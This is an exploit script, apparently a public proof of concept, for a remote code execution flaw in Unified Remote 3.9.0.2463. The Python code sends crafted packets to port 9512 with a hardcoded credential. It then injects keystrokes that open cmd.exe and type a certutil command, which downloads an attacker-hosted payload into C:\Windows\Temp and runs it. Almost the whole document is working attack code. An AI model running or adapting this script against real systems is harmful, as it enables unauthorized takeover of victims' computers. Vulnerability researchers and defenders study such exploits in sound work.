Unified Remote 3.9.0.2463 Remote Code Execution

`# Exploit Title: Unified Remote 3.9.0.2463 - Remote Code Execution  
# Author: H4rk3nz0  
# Vendor Homepage: https://www.unifiedremote.com/  
# Software Link: https://www.unifiedremote.com/download  
# Tested on: Windows 10, 10.0.19042 Build 19042  
  
#!/usr/bin/python  
  
import socket  
import sys  
import os  
from time import sleep  
  
target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
port = 9512  
  
# Packet Data Declarations; Windows, Space and Enter have non-standard values  
  
open = ("00000085000108416374696f6e00000550617373776f72640038653831333362332d61313862"  
"2d343361662d613763642d6530346637343738323763650005506c6174666f726d00616e64726f696400"  
"0852657175657374000005536f7572636500616e64726f69642d64373038653134653532383463623831"  
"000356657273696f6e000000000a00").decode("hex")  
  
open_fin = ("000000c8000108416374696f6e0001024361706162696c69746965730004416374696f6e7"  
"3000104456e6372797074696f6e3200010446617374000004477269640001044c6f6164696e6700010453"  
"796e630001000550617373776f72640064363334633164636664656238373335363038613461313034646"  
"5643430373664653736366464363134343336313938303961643766333538353864343439320008526571"  
"75657374000105536f7572636500616e64726f69642d643730386531346535323834636238310000"  
).decode("hex")  
  
one = ("000000d2000108416374696f6e00070549440052656c6d746563682e4b6579626f61726400024"  
"c61796f75740006436f6e74726f6c73000200024f6e416374696f6e0002457874726173000656616c756"  
"5730002000556616c756500").decode("hex")  
  
two = ("00000000054e616d6500746f67676c6500000854797065000800000008526571756573740007"  
"0252756e0002457874726173000656616c7565730002000556616c756500").decode("hex")  
  
three = ("00000000054e616d6500746f67676c65000005536f7572636500616e64726f69642d643730"  
"386531346535323834636238310000").decode("hex")  
  
win_key = ("000000d8000108416374696f6e00070549440052656c6d746563682e4b6579626f61726"  
"400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e000245787472617300065"  
"6616c7565730002000556616c7565004c57494e00000000054e616d6500746f67676c6500000854797"  
"0650008000000085265717565737400070252756e0002457874726173000656616c756573000200055"  
"6616c7565004c57494e00000000054e616d6500746f67676c65000005536f7572636500616e64726f6"  
"9642d643730386531346535323834636238310000").decode("hex")  
  
ret_key = ("000000dc000108416374696f6e00070549440052656c6d746563682e4b6579626f6172"  
"6400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e0002457874726173000"  
"656616c7565730002000556616c75650052455455524e00000000054e616d6500746f67676c650000"  
"08547970650008000000085265717565737400070252756e0002457874726173000656616c7565730"  
"002000556616c75650052455455524e00000000054e616d6500746f67676c65000005536f75726365"  
"00616e64726f69642d643730386531346535323834636238310000").decode("hex")  
  
space_key = ("000000da000108416374696f6e00070549440052656c6d746563682e4b6579626f6"  
"1726400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e000245787472617"  
"3000656616c7565730002000556616c756500535041434500000000054e616d6500746f67676c650"  
"00008547970650008000000085265717565737400070252756e0002457874726173000656616c756"  
"5730002000556616c756500535041434500000000054e616d6500746f67676c65000005536f75726"  
"36500616e64726f69642d643730386531346535323834636238310000").decode("hex")  
  
# ASCII to Hex Conversion Set  
characters={  
"A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e",  
"O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a",  
"a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e",  
"o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a",  
"1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",  
"+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",  
">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a",  
"(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e",  
"\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}  
  
# User Specified arguments  
try:  
rhost = sys.argv[1]  
lhost = sys.argv[2]  
payload = sys.argv[3]  
except:  
print("Usage: python " + sys.argv[0] + " <target-ip> <local-http-ip> <payload-name>")  
  
  
# Send Windows Key Input Twice  
def SendWin():  
target.sendto(win_key,(rhost, port))  
target.sendto(win_key,(rhost, port))  
sleep(0.4)  
  
  
# Send Enter/Return Key Input  
def SendReturn():  
target.sendto(ret_key,(rhost, port))  
sleep(0.4)  
  
# Send String Characters  
def SendString(string, rhost):  
for char in string:  
if char == " ":  
target.sendto(space_key,(rhost, port))  
sleep(0.02)  
else:  
convert = characters[char].decode("hex")  
target.sendto(one + convert + two + convert + three,(rhost, port))  
sleep(0.02)  
  
# Main Execution  
def main():  
target.connect((rhost,port))  
sleep(0.5)  
print("[+] Connecting to target...")  
target.sendto(open,(rhost,port)) # Initialize Connection to Unified  
sleep(0.02)  
target.sendto(open_fin,(rhost,port)) # Finish Initializing Connection  
print("[+] Popping Start Menu")  
sleep(0.02)  
SendWin()  
sleep(0.3)  
print("[+] Opening CMD")  
SendString("cmd.exe", rhost)  
sleep(0.3)  
SendReturn()  
sleep(0.3)  
print("[+] *Super Fast Hacker Typing*")  
SendString("certutil.exe -f -urlcache http://" + lhost + "/" + payload + " C:\\Windows\\Temp\\" + payload, rhost) # Retrieve HTTP hosted payload  
sleep(0.3)  
print("[+] Downloading Payload")  
SendReturn()  
sleep(3)  
SendString("C:\\Windows\\Temp\\" + payload, rhost) # Execute Payload  
sleep(0.3)  
SendReturn()  
print("[+] Done! Check listener?")  
target.close()  
  
if __name__=="__main__":  
main()  
  
`